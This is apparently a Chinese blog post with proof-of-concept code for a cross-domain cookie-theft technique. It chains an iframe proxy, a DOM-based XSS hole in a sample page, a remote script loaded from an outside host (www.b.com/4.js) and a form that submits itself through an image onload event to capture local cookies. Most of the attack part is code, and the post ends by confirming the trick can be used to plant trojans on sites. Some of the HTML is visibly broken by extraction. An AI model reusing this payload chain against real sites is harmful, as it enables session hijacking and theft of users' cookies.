www.a.com/1.html的代码如下:
---------------------------------- 我是聪明的分割线 -------------------------------------------
// 函数tt1 ,在最后将被4.html注入参数
function tt1(fvck){
alert("tt1() and args= " fvck);
document.write("");
}
http://www.baidu.com/3.html" width="300" height="300" >
---------------------------------- 我是聪明的分割线 -------------------------------------------
它包含了一个iframe页面
www.baidu.com/3.html 的代码为:
---------------------------------- 我是聪明的分割线 -------------------------------------------
//parent.location.href=new string("javascript:alert(document.cookie)");
//parent.location.href="http://www.sohu.com";
alert("3.html in iframe and cookie=" document.cookie);
// iframe proxy: 创建一个动态iframe,并利用4.html里的xss漏洞
var tt1_4 = document.createelement("iframe");
tt1_4.src = "http://www.a.com/4.html#' >http://www.b.com/4.js\">";
document.body.appendchild(tt1_4);
---------------------------------- 我是聪明的分割线 -------------------------------------------
3.html是我们的iframe proxy,利用它来完成在www.a.com里执行脚本的工作。
www.a.com/4.html 的代码为:
---------------------------------- 我是聪明的分割线 -------------------------------------------
// 一个基于dom的xss漏洞
document.write("");
//window.open("http://www.baidu.com/4.html"); 会带上cookie
this is 4.html!
http://www.baidu.com/2.html" >
http://himg.baidu.com/sys/portrait/item/26ba61756c6c696b35c504.jpg" onload=submitpost4();>
function submitpost4(){ document.forms[0].submit(); }
-->
---------------------------------- 我是聪明的分割线 -------------------------------------------
www.b.com/4.js 的代码为:
---------------------------------- 我是聪明的分割线 -------------------------------------------
alert("4.js is loaded!");
top.tt1('\'>http://www.baidu.com/2.html\" >http://himg.baidu.com/sys/portrait/item/26ba61756c6c696b35c504.jpg\" onload=submitpost4();>function submitpost4(){ document.forms[0].submit(); }
---------------------------------- 我是聪明的分割线 -------------------------------------------
4.js才是我们真正利用xss漏洞和cross iframe trick来新起一个窗口,从而获取本地cookie的方法。
www.baidu.com/2.html的代码很简单,他的作用是查看当前的cookie:
---------------------------------- 我是聪明的分割线 -------------------------------------------
alert("2.html cookie=" document.cookie);
---------------------------------- 我是聪明的分割线 -------------------------------------------
在这里攻击流程是这样的:
www.a.com/1.html ----iframe----> www.baidu.com/3.html ----动态iframe---> www.a.com/4.html 的xss漏洞 ------> 在www.a.com域中远程加载www.b.com/4.js
4.js动态调用 www.a.com/1.html 里的 tt1() 函数,并篡改参数,写入一个form,利用js动态提交该表单,这时候提交的表单,就自动带上了本地cookie了
整个过程运行结果如下:
首先访问 www.a.com/1.html

可以看到这个时候在www.baidu.com/3.html 中弹出的是session cookie,可以对比下我们最后结果里弹出的本地cookie接下来,3.html将构造iframe proxy

可以看到,由于www.a.com/4.html里的xss漏洞被利用,所以远程js被加载了

远程js继续调用top1.tt1(); 这个函数,同时篡改它的参数,参数如上图显示。接下来将把这个参数注入到tt1()函数中,由于tt1()函数中存在一个 document.write,所以它将改写页面,并且构造一个form表单,重新提交到www.baidu.com/2.html

由于在form表单中,利用了img标签的onload事件,使得img一加载就提交form,所以很快就自动获得了cookie。
可以看到,此时获取的,就是www.baidu.com/2.html 保存的本地cookie!
需要注意的是,在4.html中,即使把 top.tt1()改成了 document.write(),也无法获取本地cookie,想来应该还是因为iframe限制的问题。
以上,就是利用cross iframe trick的技巧来突破iframe限制的方法,其意义在于跨页面攻击、跨域攻击、突破iframe的限制,等等,大大丰富了脚本攻击的方法。
不知道我这篇是不是又在白写,如果有人能把我给出的poc好好调一遍,会发现这里面还是很有趣的。
最后,再讲讲,有的人可能会提出疑问,能构造iframe proxy,是否可以直接用来挂马?
是的,当然可以直接用来挂马,但是挂马却是更加复杂的一种攻击,要求有好的浏览器漏洞,好的木马,能够对抗主动防御的shellcode,同时,根据需要获取的数据不同,有时候挂马也并不能达到目的。比如,攻击的目标是网站里的数据,如果网站有ssl保护,有防键盘记录一类的程序,则会更加麻烦。
发表评论